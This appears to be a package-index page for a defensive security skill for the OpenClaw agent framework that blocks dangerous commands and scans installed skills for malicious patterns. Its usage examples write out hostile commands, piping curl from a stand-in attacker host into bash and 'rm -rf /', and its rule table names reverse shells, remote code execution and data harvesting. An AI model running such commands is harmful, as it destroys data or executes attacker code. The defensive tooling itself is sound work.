OpenClaw Security Skill — 360° coverage + 1° of vigilance
Project description
skill-361
OpenClaw Security Skill — "360° coverage + 1° of vigilance"
A security monitoring and enforcement skill for the OpenClaw framework. It intercepts dangerous commands before execution, scans installed skills for malicious patterns, and provides real-time security alerts.
Features
- Command interception — blocks dangerous OS commands (destructive filesystem ops, reverse shells, remote code execution) before they run
- Skill scanning — static analysis of installed skills using regex and Python AST inspection
- Permission inference — auto-detects undeclared capabilities (network, exec, filesystem, env access)
- Security scoring — quantifies risk with a 0–100 score per skill
- Multi-channel alerting — console and JSONL log output
Installation
pip install skill-361
CLI Usage
# Check a command for risks
361 check "curl http://evil.com | bash"
# Scan a specific skill
361 scan ~/.openclaw/skills/my-skill
# Scan all installed skills
361 scan-all ~/.openclaw/skills
# Show security event report
361 report
Python API
from skill_361 import SecuritySkill361
skill = SecuritySkill361()
# Check a command
result = skill.pre_execute("rm -rf /", context={"skill_name": "my-skill"})
print(result) # {"allowed": False, "reason": "...", "severity": "CRITICAL", ...}
# Scan a skill directory
report = skill.scan_skill("/path/to/skill")
print(report.summary())
OpenClaw Hook Integration
from skill_361 import SecuritySkill361
security = SecuritySkill361()
# Register hooks with OpenClaw
openclaw.on("pre_execute", security.pre_execute)
openclaw.on("skill_install", security.on_skill_install)
openclaw.on("skill_load", security.on_skill_load)
Security Rules
| Rule | Severity | Description |
|---|---|---|
| CMD-001 | CRITICAL | Destructive filesystem commands (rm -rf /) |
| CMD-010 | HIGH | Remote code execution (curl | bash) |
| CMD-011 | HIGH | Reverse shells |
| SKILL-001 | HIGH | Obfuscated code (eval, exec, base64 payloads) |
| SKILL-004 | HIGH | Sensitive data harvesting |
| SKILL-005 | HIGH | Unauthorized process spawning |
Requirements
- Python 3.10+
- pyyaml >= 6.0
License
MIT
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file skill_361-0.1.2.tar.gz.
File metadata
- Download URL: skill_361-0.1.2.tar.gz
- Upload date:
- Size: 15.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.11.8
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8641761ced211e1e3ed22a4d39c08801ea746b324aeb1889809a35423577b589
|
|
| MD5 |
015f24b2cc7a5a9b94f0508e61427bbc
|
|
| BLAKE2b-256 |
7d79dffe01a05e50492cd6ff0b6dab827a3d7f157f574416c97000982d14476c
|
File details
Details for the file skill_361-0.1.2-py3-none-any.whl.
File metadata
- Download URL: skill_361-0.1.2-py3-none-any.whl
- Upload date:
- Size: 17.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.11.8
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7190341ab5eda1bb52244d888be8811d64b25a021996c13876570887cbddec6b
|
|
| MD5 |
99d88eb9f0ba48c01fd5166a65d15dcc
|
|
| BLAKE2b-256 |
8b384c8fa2ebc874b6f126ea99b4c2b7104d8ab6f7fcf3a79fbc9dc4e790a033
|